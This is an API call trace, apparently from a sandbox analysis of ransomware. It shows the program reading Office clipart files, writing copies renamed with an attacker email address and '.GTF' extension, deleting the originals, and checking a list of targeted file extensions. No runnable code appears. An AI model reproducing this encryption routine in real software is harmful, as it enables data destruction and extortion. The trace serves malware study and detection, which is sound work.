	[0168.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.378] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=20136) returned 1
	[0168.378] CloseHandle (hObject=0x374) returned 1
	[0168.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220
	[0168.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.379] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.379] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.380] GetLastError () returned 0x0
	[0168.380] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4ea8, lpOverlapped=0x0) returned 1
	[0168.384] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4eb0, lpOverlapped=0x0) returned 1
	[0168.385] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.385] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.385] SetEndOfFile (hFile=0x53c) returned 1
	[0168.385] CloseHandle (hObject=0x53c) returned 1
	[0168.385] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.385] SetEndOfFile (hFile=0x374) returned 1
	[0168.390] CloseHandle (hObject=0x374) returned 1
	[0168.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1
	[0168.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.391] lstrlenW (lpString=".doc") returned 4
	[0168.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString=".docx") returned 5
	[0168.391] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.391] lstrlenW (lpString=".pdf") returned 4
	[0168.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString=".xls") returned 4
	[0168.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.391] lstrlenW (lpString=".xlsx") returned 5
	[0168.391] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.391] lstrlenW (lpString=".ppt") returned 4
	[0168.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.391] lstrlenW (lpString=".zip") returned 4
	[0168.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.391] lstrlenW (lpString=".rar") returned 4
	[0168.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString=".bz2") returned 4
	[0168.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString=".7z") returned 3
	[0168.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.391] lstrlenW (lpString=".dbf") returned 4
	[0168.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.391] lstrlenW (lpString=".1cd") returned 4
	[0168.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString=".jpg") returned 4
	[0168.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString=".doc") returned 4
	[0168.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString=".docx") returned 5
	[0168.392] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.392] lstrlenW (lpString=".pdf") returned 4
	[0168.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString=".xls") returned 4
	[0168.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.392] lstrlenW (lpString=".xlsx") returned 5
	[0168.392] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.392] lstrlenW (lpString=".ppt") returned 4
	[0168.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString=".zip") returned 4
	[0168.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.392] lstrlenW (lpString=".rar") returned 4
	[0168.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString=".bz2") returned 4
	[0168.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString=".7z") returned 3
	[0168.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString=".dbf") returned 4
	[0168.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.392] lstrlenW (lpString=".1cd") returned 4
	[0168.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0168.393] lstrlenW (lpString=".jpg") returned 4
	[0168.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.393] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.393] lstrlenW (lpString="J0107158.WMF") returned 12
	[0168.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.393] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=24908) returned 1
	[0168.393] CloseHandle (hObject=0x374) returned 1
	[0168.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220
	[0168.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.394] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.394] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.395] GetLastError () returned 0x0
	[0168.395] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x614c, lpOverlapped=0x0) returned 1
	[0168.397] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6150, lpOverlapped=0x0) returned 1
	[0168.398] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.398] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.398] SetEndOfFile (hFile=0x53c) returned 1
	[0168.399] CloseHandle (hObject=0x53c) returned 1
	[0168.399] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.399] SetEndOfFile (hFile=0x374) returned 1
	[0168.402] CloseHandle (hObject=0x374) returned 1
	[0168.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1
	[0168.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.403] lstrlenW (lpString=".doc") returned 4
	[0168.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString=".docx") returned 5
	[0168.404] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.404] lstrlenW (lpString=".pdf") returned 4
	[0168.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString=".xls") returned 4
	[0168.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.404] lstrlenW (lpString=".xlsx") returned 5
	[0168.404] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.404] lstrlenW (lpString=".ppt") returned 4
	[0168.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString=".zip") returned 4
	[0168.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.404] lstrlenW (lpString=".rar") returned 4
	[0168.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString=".bz2") returned 4
	[0168.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString=".7z") returned 3
	[0168.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString=".dbf") returned 4
	[0168.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString=".1cd") returned 4
	[0168.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString=".jpg") returned 4
	[0168.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.404] lstrlenW (lpString=".doc") returned 4
	[0168.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.404] lstrlenW (lpString=".docx") returned 5
	[0168.405] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.405] lstrlenW (lpString=".pdf") returned 4
	[0168.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString=".xls") returned 4
	[0168.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.405] lstrlenW (lpString=".xlsx") returned 5
	[0168.405] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.405] lstrlenW (lpString=".ppt") returned 4
	[0168.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.405] lstrlenW (lpString=".zip") returned 4
	[0168.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.405] lstrlenW (lpString=".rar") returned 4
	[0168.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString=".bz2") returned 4
	[0168.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString=".7z") returned 3
	[0168.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.405] lstrlenW (lpString=".dbf") returned 4
	[0168.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.405] lstrlenW (lpString=".1cd") returned 4
	[0168.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0168.405] lstrlenW (lpString=".jpg") returned 4
	[0168.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.405] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.405] lstrlenW (lpString="J0107182.WMF") returned 12
	[0168.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.406] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=16100) returned 1
	[0168.406] CloseHandle (hObject=0x374) returned 1
	[0168.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220
	[0168.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.407] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.407] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.407] GetLastError () returned 0x0
	[0168.407] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3ee4, lpOverlapped=0x0) returned 1
	[0168.409] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0168.411] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.411] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.411] SetEndOfFile (hFile=0x53c) returned 1
	[0168.411] CloseHandle (hObject=0x53c) returned 1
	[0168.411] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.411] SetEndOfFile (hFile=0x374) returned 1
	[0168.413] CloseHandle (hObject=0x374) returned 1
	[0168.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1
	[0168.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString=".doc") returned 4
	[0168.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString=".docx") returned 5
	[0168.415] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.415] lstrlenW (lpString=".pdf") returned 4
	[0168.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString=".xls") returned 4
	[0168.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.415] lstrlenW (lpString=".xlsx") returned 5
	[0168.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.415] lstrlenW (lpString=".ppt") returned 4
	[0168.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString=".zip") returned 4
	[0168.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.415] lstrlenW (lpString=".rar") returned 4
	[0168.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString=".bz2") returned 4
	[0168.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString=".7z") returned 3
	[0168.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString=".dbf") returned 4
	[0168.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString=".1cd") returned 4
	[0168.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString=".jpg") returned 4
	[0168.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.416] lstrlenW (lpString=".doc") returned 4
	[0168.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString=".docx") returned 5
	[0168.416] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.416] lstrlenW (lpString=".pdf") returned 4
	[0168.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString=".xls") returned 4
	[0168.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.416] lstrlenW (lpString=".xlsx") returned 5
	[0168.416] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.416] lstrlenW (lpString=".ppt") returned 4
	[0168.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.416] lstrlenW (lpString=".zip") returned 4
	[0168.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.416] lstrlenW (lpString=".rar") returned 4
	[0168.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString=".bz2") returned 4
	[0168.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString=".7z") returned 3
	[0168.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.416] lstrlenW (lpString=".dbf") returned 4
	[0168.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.416] lstrlenW (lpString=".1cd") returned 4
	[0168.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0168.416] lstrlenW (lpString=".jpg") returned 4
	[0168.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.784] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
